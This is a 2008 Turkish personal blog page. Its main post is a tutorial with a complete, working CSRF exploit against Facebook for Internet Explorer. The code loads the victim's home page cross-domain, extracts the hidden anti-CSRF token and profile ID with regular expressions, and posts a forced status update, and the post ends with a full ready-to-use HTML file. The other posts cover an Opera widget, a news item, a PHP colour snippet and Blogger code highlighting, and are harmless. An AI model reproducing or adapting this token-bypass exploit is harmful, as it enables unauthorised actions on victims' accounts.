*31 Aralık 2008 Çarşamba
*24 Aralık 2008 Çarşamba
CSRF hidden token bypass (internet explorer all versions)
Bloguma birkaç gündür entry giremiyorum. Sorun şu ki üzerinde yazıcak bir konu bulamıyorum. Aslında üzerinde yazı yazılacak o kadar çok konu var ki seçmekte kararsız kalıyorum. Neyse lafı uzatmadan bu güzel dökümanımıza girişi yapalım. Acaba günümüzde hala internet explorer kullanan var mıdır? Kişisel olarak kullanan tabi ki çok az bir kesim. Soruma onları dahil etmiyorum Ama düşünsenize domain firmalarını , hosting firmalarını vs... Edindiğim tecrübelere göre bunlardan hala internet explorer kullananlar var. Bildiğiniz gibi internet explorer dışındaki browserlar da xmlhttprequest nesnesi ile farklı sunucuya istekte bulunamıyoruz. İşte internet explorerı da güvensiz yapan onca faktörlerden biriside bu. Öncelikle ufak bir betikle başlıyalım.
<script type="text/javascript">
//experl.com
function AJAX() {
var ajax = false;
try {
ajax = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
ajax = false;
}}
if ( !ajax && typeof XMLHttpRequest != 'undefined' ) {
try{
ajax = new XMLHttpRequest();
}catch(e) {
ajax = false;
}}
if ( !ajax && window.createRequest ) {
try{
ajax = window.createRequest();
}catch(e){
ajax = false;
}}
return ajax;}
</script>
Yukarıdaki kodlarla öncelikle xmlhttprequest objemizi tanımlıyacak fonksiyonu oluşturduk. Şimdi de facebook.com a GET methodu ile bir istekte bulunalım
<body onload=getir();>
<script type="text/javascript">
// xmlhttprequest objemizi tanımlıyacak fonksiyon kodları buraya
//experl.com
function getir(){
xmlhttp=new AJAX();
if (xmlhttp != null){
xmlhttp.open("GET","http://www.facebook.com/home.php",false);
xmlhttp.send(null);
if(xmlhttp.readyState == 4){
var fakyu = xmlhttp.responseText;
document.getElementById('salla').innerHTML = fakyu ;
}
}
}
</script>
<div id="salla"></div>
Yukarıdaki kodlarımızla xmlhttprequest objemizi tanımladık ve GET methodu kullanarak http://www.facebook.com/home.php adresine bir istekte bulunduk. xmlhttp.responseText ile de gelen veriyi "salla" id li div imize yolladık. Betiği çalıştırdığımızda bize facebook.com/home.php adresinin kaynak kodlarını basıcak. Tabi imajlar ve style dosyalarının linkleri doğru olmadığından sayfanın şaftı kayar. Bu bizim ne işimize yarıyacak? Evet bazı coderlar sayfalarında csrf koruması olarak session olarak tutup hidden inputlara atadıkları kullanıcıdan kullanıcıya değişen değerler kullanır. Bu hidden inputlardaki değerler xmlhttprequest ile kolayca alınabilir. Facebook da status (durum,kişisel ileti) değiştirmek için "http://www.facebook.com/updatestatus.php?_ecdc=false" adresine post yapılıyor. (csrf için oluşturulacak post dataları ve post adresini snifferlarla alabilirsiniz. ) post edilen veriler -------------------- profile_id=(kurbanın profil id) status=(ileti) home_tab_id=1 test_name=INLINE_STATUS_EDITOR action=HOME_UPDATE post_form_id=(csrf token) -------------------- normalde csrf koruması olmasaydı csrf sayfamızı şu şekilde yapabilirdik.
<form action="http://www.facebook.com/updatestatus.php?_ecdc=false" method="post"> <input type=text name="profile_id" value="1491810307"><br> <input type=text name="status" value="deneme"><br> <input type=text name="home_tab_id" value="1"><br> <input type=text name="test_name" value="INLINE_STATUS_EDITOR"><br> <input type=text name="action" value="HOME_UPDATE"><br> <input type=text name="post_form_id" value="095f3b7bf1df12963456981887d7565c"><br> </form> <script>document.forms[0].submit();</script>
ama bu post_form_id i bilmediğimiz için mümkün olmazdı. Bu noktada xmlhttprequest objemiz devreye giriyor. csrf token i almak için kurbanı xmlhttprequest ile hedef siteye sokup csrf token i xmlhttprequest den gelen yanıtdan ayıklamamız gerekiyor. Buraya kadar kurbanı hedef siteye sokmayı gösterdik. Şimdi geldi işin cafcaflı kısmına. Yani post_form_id i almaya. Regexp burda imdadımıza koşuyor : ] şimdi aşağıdaki kodları inceliyelim.
//experl.com
if(xmlhttp.readyState == 4){
var fakyu = xmlhttp.responseText;
myRe = new RegExp ("name=\"post_form_id\" value=\"([0-9a-f]{32})\"", "g");
myArray = myRe.exec(fakyu);
myRe2 = new RegExp ('<div id="status_editor_chat"><a href="/profile.php(.*?)id=([0-9]{0,20})">', "g");
myArray2 = myRe2.exec(fakyu);
var profileid=myArray2[2];
var postformid=myArray[1];
document.getElementById('salla').innerHTML = "post_form_id="postformid + " <br> profile_id=" + profileid ;
}
Yukarıdaki kodlarda yaptığımız şey gelen yanıtı fakyu adlı değişkene atıyoruz. Sonrasında regexp ile post_form_id ve profile_id leri değişkenlere atıyoruz. İşin asıl kısımlarını profile_id ve post_form_id alarak bitirdik. Şimdi ise son kodlarımıza geliyoruz. Gerekli veriler ile "http://www.facebook.com/updatestatus.php?_ecdc=false" adresine status'u değiştirmek için post yapmaya.
//experl.com
function ilet(profileid,postformid){
kirmiskalbini = new AJAX();
var status="h4 was here";
var data="profile_id="+profileid+"&status="+status+"&home_tab_id=1&test_name=INLINE_STATUS_EDITOR&action=HOME_UPDATE&post_form_id="+postformid;
if(kirmiskalbini != null){
kirmiskalbini.open("POST","http://www.facebook.com/updatestatus.php?_ecdc=false",false);
kirmiskalbini.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
kirmiskalbini.send(data);
if(kirmiskalbini.readyState == 4){
return true;
}
}
}
yukarıdaki kodlarla yeni bir xmlhttprequest objesi tanımlıyoruz ve ve status değiştirmek için postumuzu yapıyoruz. dökümanı okurken kodlar kafanızı karıştırmış olabilir. O yüzden tüm işlemleri yapan kodları bir arada verelim
facebookstatuschanger.html
<body onload=getir();>
<script type="text/javascript">
function AJAX() {
//Kodlama h4ckinger
//h4ckinger [ at ] gmail.com
//http://kirmiskalbini.blogspot.com
//experl.com
var ajax = false;
try {
ajax = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
ajax = false;
}}
if ( !ajax && typeof XMLHttpRequest != 'undefined' ) {
try{
ajax = new XMLHttpRequest();
}catch(e) {
ajax = false;
}}
if ( !ajax && window.createRequest ) {
try{
ajax = window.createRequest();
}catch(e){
ajax = false;
}}
return ajax;}
function getir(){
xmlhttp=new AJAX();
if (xmlhttp != null){
xmlhttp.open("GET","http://www.facebook.com/home.php",false);
xmlhttp.send(null);
if(xmlhttp.readyState == 4){
var fakyu = xmlhttp.responseText;
myRe = new RegExp ("name=\"post_form_id\" value=\"([0-9a-f]{32})\"", "g");
myArray = myRe.exec(fakyu);
myRe2 = new RegExp ('<div id="status_editor_chat"><a href="/profile.php(.*?)id=([0-9]{0,20})">', "g");
myArray2 = myRe2.exec(fakyu);
var profileid=myArray2[2];
var postformid=myArray[1];
//document.getElementById('salla').innerHTML = postformid + " ve " + profileid ;
}
}
else{document.getElementById('salla').innerHTML ="hata";}
xmlhttp = false;
ilet(profileid,postformid);
}
function ilet(profileid,postformid){
kirmiskalbini = new AJAX();
var status="h4 was here";
var data="profile_id="+profileid+"&status="+status+"&home_tab_id=1&test_name=INLINE_STATUS_EDITOR&action=HOME_UPDATE&post_form_id="+postformid;
if(kirmiskalbini != null){
kirmiskalbini.open("POST","http://www.facebook.com/updatestatus.php?_ecdc=false",false);
kirmiskalbini.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
//kirmiskalbini.setRequestHeader("Content-length", data.length)
kirmiskalbini.send(data);
if(kirmiskalbini.readyState == 4){
//document.getElementById('salla').innerHTML =data;
return true;
}
}
}
</script>
<div id="salla"></div>
Bu döküman yazılımlardaki zaafiyetlerin ne denli kötüye kullanılabiliceğini göstermek amaçlı yazılmıştır. Uygulama yaparkende pek de kötü sonuçlar doğurması mümkün olmayan facebook da ileti değiştirme örnek gösterilmiştir. Bu mantıkla daha birçok şey yapılabilir. Eklemek istediğim son şey ise Yaşasın Opera ! (ve firefoxlar da yaşayabilir) Lütfen alıntı yaparken kaynak belirtin o kadar da zor değil dimi : ( experl
h4ckinger
*22 Aralık 2008 Pazartesi
Opera Page Rank Widget
Beni tanıyanlar ne kadar opera fanatiği olduğumu bilirler. Opera Widget larda gezinirken güzel bir widget gördüm. Sizede tavsiye etmek istedim.Download için aşağıdaki linke tıkladıktan sonra açılan sayfadaki resmin üzerine tıklayın. http://widgets.opera.com/widget/4574/
*15 Aralık 2008 Pazartesi
Irak'lı gazeteci Bush'a ayakkabı fırlatıyor
Eleman bush efendiye ayakkabı fırlatıyor. Ardından da Bush efendi espiri yapmaya çalışmış.Ayakkabı numarası 10 muş diye :D
*14 Aralık 2008 Pazar
php rgb color
php de grafik oluştururken kullandığımız renk kodları şu şekilde olur.$kirmizi = imagecolorallocate( $resim, 255,0,0 );Tabi istediğimiz rengi tutturmak için bazen uğraşırız. Ama bunun kısa bir yolu var. İstediğimiz hex kodlarını bizim kullanabiliceğimiz kodlara çeviriyor. Özellikle güvenlik kodları ve arka plan uyuşmazlığına birebir geliyor vereceğim kodlar : )<? $color = '#111111';// Hex kodumuz print_r(sscanf($color, '#%2x%2x%2x')); ?>Kodun çıktısı ise şu şekilde olucakArray ( [0] => 17 [1] => 17 [2] => 17 )
Etiketler:
gd library,
php
*10 Aralık 2008 Çarşamba
Blogger'da php kodlarını renklendirme
Blogger kullanmaya başlamam da önemli bir etken de php kodlarının renklendirilme imkanı olmasıydı. php ile samimiyetimi bilmeyeniniz yoktur. Blogumda da sürekli php ile ilgili yazılara yer vericeğimden dolayı renklendirme olayını yapmam gerekti siz okuyucularım açısından kodların okunabilirliğini kolaylaştırmak için biraz araştırma sonrasında s4lih kardeşimin de kullandığı bir javascript buldum. Önce blog yönetim panelinizden ayarlardan yerleşime gelin. Ordan da html i düzenleye tıklayın ve <head></head> arasına şu kodları yapıştırın. <script type="text/javascript" src="sh_main.js"></script> <script type="text/javascript" src="lang/sh_cpp.js"></script> sonrada style dosyamızı include edicez. Bunun için isterseniz şu kodu yine head ların arasına koyun. <link type="text/css" rel="stylesheet" href="css/sh_nedit.css"> yada style dosyasının içindekileri blogunuzun style kodları arasına koyun. son olarak <body> tagını şu şekilde değiştirin. <body onload="sh_highlightDocument();"> Blogunuza yazı eklerken de (php için) <pre class="sh_php">PEHEPE KODLAR</pre> bu kodları kullanın Kullanımı hakkındaki yazı : http://shjs.sourceforge.net/doc/documentation.html
Etiketler:
blogger,
javascript,
php
Kaydol:
Kayıtlar (Atom)


